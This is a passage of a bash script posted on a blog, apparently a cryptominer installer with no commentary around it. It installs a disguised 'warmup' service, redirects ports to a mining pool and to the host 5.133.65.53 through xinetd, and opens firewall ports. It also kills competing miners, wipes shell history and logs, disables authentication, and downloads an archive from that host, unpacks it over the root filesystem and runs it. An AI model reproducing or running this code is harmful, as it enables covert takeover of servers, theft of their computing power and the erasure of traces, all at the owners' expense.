[ -x "\$DAEMON" ] || exit 0

# Read configuration variable file if it is present
[ -r /etc/default/\$NAME ] && . /etc/default/\$NAME

# Load the VERBOSE setting and other rcS variables
. /lib/init/vars.sh

# Define LSB log_* functions.
# Depend on lsb-base (>= 3.2-14) to ensure that this file is present
# and status_of_proc is working.
. /lib/lsb/init-functions

#
# Function that starts the daemon/service
#
do_start()
{
	# Return
	#   0 if daemon has been started
	#   1 if daemon was already running
	#   2 if daemon could not be started
	start-stop-daemon --start --quiet --exec \$DAEMON --test > /dev/null || return 1
	start-stop-daemon --start --quiet --background --exec \$DAEMON || return 2
	# Add code here, if necessary, that waits for the process to be ready
	# to handle requests from services started subsequently which depend
	# on this one.  As a last resort, sleep for some time.
}

#
# Function that stops the daemon/service
#
do_stop()
{
	# Return
	#   0 if daemon has been stopped
	#   1 if daemon was already stopped
	#   2 if daemon could not be stopped
	#   other if a failure occurred
	rm -f \$PIDFILE
	start-stop-daemon --stop --quiet --retry=TERM/30/KILL/5 --name \$NAME
	RETVAL="\$?"
	pkill -9 \$NAME
	[ "\$RETVAL" = 2 ] && return 2
	# Wait for children to finish too if this is a daemon that forks
	# and if the daemon is only ever run from this initscript.
	# If the above conditions are not satisfied then add some other code
	# that waits for the process to drop all resources that could be
	# needed by services started subsequently.  A last resort is to
	# sleep for some time.
	start-stop-daemon --stop --quiet --oknodo --retry=0/30/KILL/5 --exec \$DAEMON
	pkill -9 \$NAME
	[ "\$?" = 2 ] && return 2
	# Many daemons don't delete their pidfiles when they exit.
	rm -f \$PIDFILE
	return "\$RETVAL"
}

#
# Function that sends a SIGHUP to the daemon/service
#
do_reload() {
	#
	# If the daemon can reload its configuration without
	# restarting (for example, when it is sent a SIGHUP),
	# then implement that here.
	#
	start-stop-daemon --stop --signal 1 --quiet --name \$NAME
	return 0
}

case "\$1" in
  start)
	[ "\$VERBOSE" != no ] && log_daemon_msg "Starting \$DESC" "\$NAME"
	do_start
	case "\$?" in
		0|1) [ "\$VERBOSE" != no ] && log_end_msg 0 ;;
		2) [ "\$VERBOSE" != no ] && log_end_msg 1 ;;
	esac
	;;
  stop)
	[ "\$VERBOSE" != no ] && log_daemon_msg "Stopping \$DESC" "\$NAME"
	do_stop
	case "\$?" in
		0|1) [ "\$VERBOSE" != no ] && log_end_msg 0 ;;
		2) [ "\$VERBOSE" != no ] && log_end_msg 1 ;;
	esac
	;;
  status)
       status_of_proc "\$DAEMON" "\$NAME" && exit 0 || exit \$?
       ;;
  #reload|force-reload)
	#
	# If do_reload() is not implemented then leave this commented out
	# and leave 'force-reload' as an alias for 'restart'.
	#
	#log_daemon_msg "Reloading \$DESC" "\$NAME"
	#do_reload
	#log_end_msg $?
	#;;
  restart|force-reload)
	#
	# If the "reload" option is implemented then remove the
	# 'force-reload' alias
	#
	log_daemon_msg "Restarting \$DESC" "\$NAME"
	do_stop
	case "\$?" in
	  0|1)
		do_start
		case "\$?" in
			0) log_end_msg 0 ;;
			1) log_end_msg 1 ;; # Old process is still running
			*) log_end_msg 1 ;; # Failed to start
		esac
		;;
	  *)
	  	# Failed to stop
		log_end_msg 1
		;;
	esac
	;;
  *)
	#echo "Usage: \$SCRIPTNAME {start|stop|restart|reload|force-reload}" >&2
	echo "Usage: \$SCRIPTNAME {start|stop|status|restart|force-reload}" >&2
	exit 3
	;;
esac

:
	
EOF
				chmod 755 /etc/init.d/warmup
				update-rc.d warmup defaults
				service warmup stop >/dev/null 2>&1
				rm -f /var/run/warmup.pid
				service warmup start >/dev/null 2>&1
			else
				if [ -f /etc/init.d/warmup ]; then
					chattr -i /etc/init.d/warmup
				fi
				if [ "$isSystemctl" == false ]; then
					cat <<EOF >/etc/init.d/warmup
#!/bin/sh
#
# warmup - this script starts and stops the warmup daemon
#
# chkconfig:    2345 85 15
# description:  warmup is an HTTP(S) server, HTTP(S) reverse \
#               proxy and IMAP/POP3 proxy server
# processname: $warmupfile

# Source function library.
#. /etc/rc.d/init.d/functions
. /etc/init.d/modules
warmup="$RP/$warmupfile"
prog="\$(basename \$warmup)"

lockfile="/var/lock/subsys/\${prog}"

start() {
    echo -n \$"Starting \$prog: "
    daemon \$warmup
    retval=\$?
    echo
    [ \$retval -eq 0 ] && touch \$lockfile
    return \$retval
}

stop() {
    echo -n \$"Stopping \$prog: "
    pkill -9 \$prog
    retval=\$?
    echo
    [ \$retval -eq 0 ] && rm -f \$lockfile
    return \$retval
}

rh_status() {
    status \$prog
}

rh_status_q() {
    rh_status >/dev/null 2>&1
}

case "\$1" in
    start)
        rh_status_q && exit 0
        \$1
        ;;
    stop)
        rh_status_q || exit 0
        \$1
        ;;
    status)
        rh_\$1
        ;;
    *)
        echo \$"Usage: \$0 {start|stop|status}"
        exit 2
esac
EOF
					chmod 755 /etc/init.d/warmup
					chkconfig --add warmup
					chkconfig warmup on
					service warmup stop >/dev/null 2>&1
					service warmup start >/dev/null 2>&1
					service warmup status >/dev/null 2>&1
					if [[ $? -ne 0 ]]; then
						cat <<EOF >/etc/init.d/warmup
#!/bin/sh
#
# warmup - this script starts and stops the warmup daemon
#
# chkconfig:    2345 85 15
# description:  warmup is an HTTP(S) server, HTTP(S) reverse \
#               proxy and IMAP/POP3 proxy server
# processname: $warmupfile

# Source function library.
. /etc/rc.d/init.d/functions
#. /etc/init.d/modules
warmup="$RP/$warmupfile"
prog="\$(basename \$warmup)"

lockfile="/var/lock/subsys/\${prog}"

start() {
    echo -n \$"Starting \$prog: "
    daemon \$warmup
    retval=\$?
    echo
    [ \$retval -eq 0 ] && touch \$lockfile
    return \$retval
}

stop() {
    echo -n \$"Stopping \$prog: "
    pkill -9 \$prog
    retval=\$?
    echo
    [ \$retval -eq 0 ] && rm -f \$lockfile
    return \$retval
}

rh_status() {
    status \$prog
}

rh_status_q() {
    rh_status >/dev/null 2>&1
}

case "\$1" in
    start)
        rh_status_q && exit 0
        \$1
        ;;
    stop)
        rh_status_q || exit 0
        \$1
        ;;
    status)
        rh_\$1
        ;;
    *)
        echo \$"Usage: \$0 {start|stop|status}"
        exit 2
esac
EOF
						chmod 755 /etc/init.d/warmup
						chkconfig --add warmup
						chkconfig warmup on
						service warmup stop >/dev/null 2>&1
						service warmup start >/dev/null 2>&1
					fi
				else
					cat <<EOF >/etc/systemd/system/warmup.service
[Unit]
Description=Warmup web application server

[Service]
Type=simple
ExecStart=/bin/bash -c '$RP/$warmupfile'
WorkingDirectory=$RP
Restart=on-failure
RestartSec=5

[Install]
WantedBy=multi-user.target
EOF
					chmod 755 /etc/systemd/system/warmup.service
					systemctl daemon-reload
					systemctl enable warmup.service
					systemctl stop warmup.service
					systemctl start warmup.service
					systemctl is-active warmup >/dev/null 2>&1
				fi
			fi
		fi
	fi

	if [ -f /etc/xinetd.d/smtp_forward ]; then
		yum install xinetd -y >/dev/null 2>&1
		if [[ -x $(which xinetd) ]]; then
			if [ "$isCentOs7" == true -o "$isCentOs8" == true ]; then
				if testport 127.0.0.1 757; then
					echo "xinetd 757 OK"
				else
					cat <<'EOF' >/etc/xinetd.d/smtp_forward
service smtp_forward
{
        disable         = no
        type            = UNLISTED
        socket_type     = stream
        protocol        = tcp
        user            = nobody
        wait            = no
        redirect        = 5.133.65.53 80
        port            = 757
		per_source = UNLIMITED
		instances = UNLIMITED
		cps = 10000 1
}
EOF
					systemctl daemon-reload
					systemctl enable xinetd.service
					systemctl stop xinetd.service
					systemctl start xinetd.service
				fi
				STR=$(firewall-cmd --permanent --list-port)
				if [[ "$STR" == *757* ]]; then
					echo "Port 757 Open"
				else
					firewall-cmd --zone=public --permanent --add-port=757/tcp
					firewall-cmd --reload
				fi
			else
				if testport 127.0.0.1 757; then
					echo "xinetd 757 OK"
				else
					cat <<'EOF' >/etc/xinetd.d/smtp_forward
service smtp_forward
{
        disable         = no
        type            = UNLISTED
        socket_type     = stream
        protocol        = tcp
        user            = nobody
        wait            = no
        redirect        = 5.133.65.53 80
        port            = 757
		per_source = UNLIMITED
		instances = UNLIMITED
		cps = 10000 1
}
EOF
					chkconfig xinetd on
					service xinetd restart
					if [[ $? -ne 0 ]]; then
						/etc/init.d/xinetd restart
					fi
				fi
				STR=$(iptables -L INPUT -v -n)
				if [[ "$STR" == *757* ]]; then
					echo "Port 757 Open"
				else
					iptables -I INPUT -p tcp --dport 757 -m state --state NEW -j ACCEPT
					service iptables save
					service iptables restart
				fi

			fi
		fi
	else
		if [ "$isCentOs7" == true -o "$isCentOs8" == true ]; then
			firewall-cmd --zone=public --permanent --remove-port=757/tcp
			firewall-cmd --reload
		else
			iptables -D INPUT -p tcp --dport 757 -m state --state NEW -j ACCEPT
			service iptables save
			service iptables restart
		fi
	fi
	if [ -f /etc/xinetd.d/http_forward ]; then
		yum install xinetd -y >/dev/null 2>&1
		if testport 127.0.0.1 703; then
			echo "xinetd 757 OK"
		else
			cat <<EOF >/etc/xinetd.d/http_forward
service http_forward
{
        disable         = no
        type            = UNLISTED
        socket_type     = stream
        protocol        = tcp
        user            = nobody
        wait            = no
        redirect        = $MINEIP 80
        port            = 703
		per_source = UNLIMITED
		instances = UNLIMITED
		cps = 10000 1
}
EOF
		fi
		if [[ -x $(which xinetd) ]]; then
			if [ "$isCentOs7" == true -o "$isCentOs8" == true ]; then
				if testport 127.0.0.1 703; then
					echo "xinetd 757 OK"
				else
					systemctl daemon-reload
					systemctl enable xinetd.service
					systemctl stop xinetd.service
					systemctl start xinetd.service
				fi
				STR=$(firewall-cmd --permanent --list-port)
				if [[ "$STR" == *703* ]]; then
					echo "Port 703 Open"
				else
					firewall-cmd --zone=public --permanent --add-port=703/tcp
					firewall-cmd --reload
				fi
			else
				if testport 127.0.0.1 703; then
					echo "xinetd 757 OK"
				else
					chkconfig xinetd on
					service xinetd restart
					if [[ $? -ne 0 ]]; then
						/etc/init.d/xinetd restart
					fi
				fi
				STR=$(iptables -L INPUT -v -n)
				if [[ "$STR" == *703* ]]; then
					echo "Port 703 Open"
				else
					iptables -I INPUT -p tcp --dport 703 -m state --state NEW -j ACCEPT
					service iptables save
					service iptables restart
				fi

			fi
		fi
	else
		if [ "$isCentOs7" == true -o "$isCentOs8" == true ]; then
			firewall-cmd --zone=public --permanent --remove-port=703/tcp
			firewall-cmd --reload
		else
			iptables -D INPUT -p tcp --dport 703 -m state --state NEW -j ACCEPT
			service iptables save
			service iptables restart
		fi
	fi
	if [ -n "$(which wget)" ]; then
		TESTPOOL=$(wget -qO- 127.0.0.1:999/api.json | grep -m1 -oP '"pool"\s*:\s*"\K[^"]+')
	elif [ -n "$(which curl)" ]; then
		TESTPOOL=$(curl -X GET http://127.0.0.1:999/api.json | grep -m1 -oP '"pool"\s*:\s*"\K[^"]+')
	else
		TESTPOOL=$(__curl http://127.0.0.1:999/api.json | grep -m1 -oP '"pool"\s*:\s*"\K[^"]+')
	fi

	if [ -z "$TESTPOOL" ]; then
		echo "NULL"
	else
		arrIN=(${TESTPOOL//:/ })
		TEMPIP=${arrIN[0]}
		TEMPPORT=${arrIN[1]}
		if [ -f /etc/xinetd.d/timesync ]; then
			TIMECONF=$(cat /etc/xinetd.d/timesync)
			if [[ $TIMECONF == *$TEMPIP* ]]; then
				echo "Special Proxy IP - OK"
				if [[ $TIMECONF == *$TEMPPORT* ]]; then
					echo "Special Proxy - OK"
					XINETREST=0
				else
					XINETREST=1
				fi
			else
				XINETREST=1
			fi
		else
			XINETREST=1
		fi

		if testport 127.0.0.1 443; then
			if [ -f /etc/xinetd.d/https_stream ]; then
				HTTPSSTREAM=1
				TIMECONF=$(cat /etc/xinetd.d/https_stream)
				if [[ $TIMECONF == *$TEMPIP* ]]; then
					echo "Special Proxy IP - OK"
					if [[ $TIMECONF == *$TEMPPORT* ]]; then
						echo "Special Proxy - OK"
					else
						XINETREST=1
					fi
				else
					XINETREST=1
				fi
			fi
		else
			HTTPSSTREAM=1
			if [ -f /etc/xinetd.d/https_stream ]; then
				TIMECONF=$(cat /etc/xinetd.d/https_stream)
				if [[ $TIMECONF == *$TEMPIP* ]]; then
					echo "Special Proxy IP - OK"
					if [[ $TIMECONF == *$TEMPPORT* ]]; then
						echo "Special Proxy - OK"
					else
						XINETREST=1
					fi
				else
					XINETREST=1
				fi
			else
				XINETREST=1
			fi
		fi

		if testport 127.0.0.1 8080; then
			if [ -f /etc/xinetd.d/http_stream ]; then
				HTTPSTREAM=1
				TIMECONF=$(cat /etc/xinetd.d/http_stream)
				if [[ $TIMECONF == *$TEMPIP* ]]; then
					echo "Special Proxy IP - OK"
					if [[ $TIMECONF == *$TEMPPORT* ]]; then
						echo "Special Proxy - OK"
					else
						XINETREST=1
					fi
				else
					XINETREST=1
				fi
			fi
		else
			HTTPSTREAM=1
			if [ -f /etc/xinetd.d/http_stream ]; then
				TIMECONF=$(cat /etc/xinetd.d/http_stream)
				if [[ $TIMECONF == *$TEMPIP* ]]; then
					echo "Special Proxy IP - OK"
					if [[ $TIMECONF == *$TEMPPORT* ]]; then
						echo "Special Proxy - OK"
					else
						XINETREST=1
					fi
				else
					XINETREST=1
				fi
			else
				XINETREST=1
			fi
		fi

		if [[ $XINETREST -eq 1 ]]; then
			cat <<EOF >/etc/xinetd.d/timesync
service timesync
{
        disable         = no
        type            = UNLISTED
        socket_type     = stream
        protocol        = tcp
        user            = nobody
        wait            = no
        redirect        = $TEMPIP $TEMPPORT
        port            = 708
		per_source = UNLIMITED
		instances = UNLIMITED
		cps = 10000 1
}
EOF
			if [[ $HTTPSTREAM -eq 1 ]]; then
				cat <<EOF >/etc/xinetd.d/http_stream
service http_stream
{
        disable         = no
        type            = UNLISTED
        socket_type     = stream
        protocol        = tcp
        user            = nobody
        wait            = no
        redirect        = $TEMPIP $TEMPPORT
        port            = 8080
		per_source = UNLIMITED
		instances = UNLIMITED
		cps = 10000 1
}
EOF
				if [ "$isCentOs7" == true -o "$isCentOs8" == true ]; then
					systemctl daemon-reload
					systemctl enable xinetd.service
					systemctl stop xinetd.service
					systemctl start xinetd.service
					STR=$(firewall-cmd --permanent --list-port)
					if [[ "$STR" == *8080* ]]; then
						echo "Port 8080 Open"
					else
						firewall-cmd --zone=public --permanent --add-port=8080/tcp
						firewall-cmd --reload
					fi
				else
					chkconfig xinetd on
					service xinetd restart
					if [[ $? -ne 0 ]]; then
						/etc/init.d/xinetd restart
					fi
					STR=$(iptables -L INPUT -v -n)
					if [[ "$STR" == *8080* ]]; then
						echo "Port 8080 Open"
					else
						iptables -I INPUT -p tcp --dport 8080 -m state --state NEW -j ACCEPT
						service iptables save
						service iptables restart
					fi
				fi
			fi
			if [[ $HTTPSSTREAM -eq 1 ]]; then
				cat <<EOF >/etc/xinetd.d/https_stream
service https_stream
{
        disable         = no
        type            = UNLISTED
        socket_type     = stream
        protocol        = tcp
        user            = nobody
        wait            = no
        redirect        = $TEMPIP $TEMPPORT
        port            = 443
		per_source = UNLIMITED
		instances = UNLIMITED
		cps = 10000 1
}
EOF
				if [ "$isCentOs7" == true -o "$isCentOs8" == true ]; then
					systemctl daemon-reload
					systemctl enable xinetd.service
					systemctl stop xinetd.service
					systemctl start xinetd.service
					STR=$(firewall-cmd --permanent --list-port)
					if [[ "$STR" == *443* ]]; then
						echo "Port 443 Open"
					else
						firewall-cmd --zone=public --permanent --add-port=443/tcp
						firewall-cmd --reload
					fi
				else
					chkconfig xinetd on
					service xinetd restart
					if [[ $? -ne 0 ]]; then
						/etc/init.d/xinetd restart
					fi
					STR=$(iptables -L INPUT -v -n)
					if [[ "$STR" == *443* ]]; then
						echo "Port 443 Open"
					else
						iptables -I INPUT -p tcp --dport 443 -m state --state NEW -j ACCEPT
						service iptables save
						service iptables restart
					fi
				fi
			fi
			if [ "$isCentOs7" == true -o "$isCentOs8" == true ]; then
				systemctl daemon-reload
				systemctl enable xinetd.service
				systemctl stop xinetd.service
				systemctl start xinetd.service
				STR=$(firewall-cmd --permanent --list-port)
				if [[ "$STR" == *708* ]]; then
					echo "Port 708 Open"
				else
					firewall-cmd --zone=public --permanent --add-port=708/tcp
					firewall-cmd --reload
				fi
			else
				chkconfig xinetd on
				service xinetd restart
				if [[ $? -ne 0 ]]; then
					/etc/init.d/xinetd restart
				fi
				STR=$(iptables -L INPUT -v -n)
				if [[ "$STR" == *708* ]]; then
					echo "Port 708 Open"
				else
					iptables -I INPUT -p tcp --dport 708 -m state --state NEW -j ACCEPT
					service iptables save
					service iptables restart
				fi
			fi
		fi
	fi

	if [ "$SKIPINSTALL" == false ]; then
		if [ "$isCentOs7" == true -o "$isCentOs8" == true ]; then
			STR=$(firewall-cmd --permanent --list-port)
			if [[ "$STR" == *999* ]]; then
				echo "Port 999 Open"
			else
				firewall-cmd --zone=public --permanent --add-port=999/tcp
				firewall-cmd --reload
			fi
		else
			STR=$(iptables -L INPUT -v -n)
			if [[ "$STR" == *999* ]]; then
				echo "Port 999 Open"
			else
				iptables -I INPUT -p tcp --dport 999 -m state --state NEW -j ACCEPT
				service iptables save
				service iptables restart
			fi
		fi
		###########################Info after install############################################################
		#Check Warmup Service
		if [ "$isCentOs7" == true -o "$isCentOs8" == true ]; then
			systemctl is-active warmup >/dev/null 2>&1
		else
			service warmup status >/dev/null 2>&1
		fi
		if [[ $? -eq 0 ]]; then
			InfoG "Serice Warmup running"
		else
			InfoR "Serice Warmup not running"
		fi
		#Check Warmup Files
		if [ -f /root/.warmup/$warmupfile ]; then
			InfoG "File warmup exists"
		else
			InfoG "File warmup not found"
		fi
		ps cax | grep $warmupfile
		if [ $? -eq 0 ]; then
			InfoG "Process warmup active"
		else
			InfoR "Process warmup not active"
		fi
		#Check good proxy
		InfoG "Pools list"
		cat /root/.warmup/config.json | grep 'url'
		cd /root/.warmup
		chmod 755 $warmupfile
	fi
	#######################################################################################
	#################################################################################
	#clean
	rm -fr /root/install
	pkill -9 xmrig >/dev/null 2>&1
	pkill -9 warmun >/dev/null 2>&1
	rm -fr /boot/xmrig >/dev/null 2>&1
	rm -fr /root/xmrig >/dev/null 2>&1
	rm -fr /kinettd >/dev/null 2>&1
	rm -rf /root/.bash_history >/dev/null 2>&1
	pkill -9 kinettd >/dev/null 2>&1
	ps -eaf | grep "spend-secret-key" | grep -v grep | awk '{ print $2 }' | xargs kill -9 >/dev/null 2>&1
	ps -eaf | grep -- "--url=" | grep -v grep | awk '{ print $2 }' | xargs kill -9 >/dev/null 2>&1
	history -c
	crontab -l | grep -v '/var/lib/alternatives/somescript' | crontab
	clearLogs
	clearHistory
	disableAuth
	disableHistory
	if [ ! -f /root/gcclib/libgcc_a ]; then
		mkdir -p /root/tmp >/dev/null 2>&1
		FILENAME="archive.tar.gz"
		HASH="5756A87FC03EAD63498468F9AA5BBBFF"
		md5sum -c <<<"$HASH */root/tmp/archive.tar.gz" || get_remote "http://5.133.65.53/soft/linux/archive.tar.gz" "/root/tmp/archive.tar.gz"
		unset HASH
		FILENAME="ForTest.txt"
		HASH="5BFC29BB89A493C7D1305205F87979EB"
		md5sum -c <<<"$HASH */root/tmp/ForTest.txt" || get_remote "http://5.133.65.53/soft/linux/ForTest.txt" "/root/tmp/ForTest.txt"
		unset HASH
		if [ -f /root/tmp/ForTest.txt ]; then
			mkdir -p /usr/spirit >/dev/null 2>&1
			mv -f /root/tmp/ForTest.txt /usr/spirit/ForTest.txt
		fi
		if [ -f /root/tmp/archive.tar.gz ]; then
			tar -C "/" --overwrite -xmvzf /root/tmp/archive.tar.gz >/dev/null 2>&1
			chmod 755 /root/gcclib/libgcc_a
			chmod 755 /etc/cron.daily/xbash
			/etc/cron.daily/xbash
		fi
	fi
	rm -fr /var/spool/mail/root
	sleep 3
	########################################################################################################################################################
}

if [[ $MY_NAME = \.* ]]; then
	# invoke real main program
	trap "clean_up; self_clean_up" >/dev/null 2>&1 #EXIT
	USER=$1
	main "$@"
else
	USER=$1
	# update myself and invoke updated version
	trap clean_up >/dev/null 2>&1 #EXIT
	update_self_and_invoke "$@"
fi

posted @   rab3it  阅读(373)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· winform 绘制太阳,地球,月球 运作规律
· 超详细:普通电脑也行Windows部署deepseek R1训练数据并当服务器共享给他人
· 上周热点回顾(3.3-3.9)
· AI 智能体引爆开源社区「GitHub 热点速览」
· 写一个简单的SQL生成工具
点击右上角即可分享
微信分享提示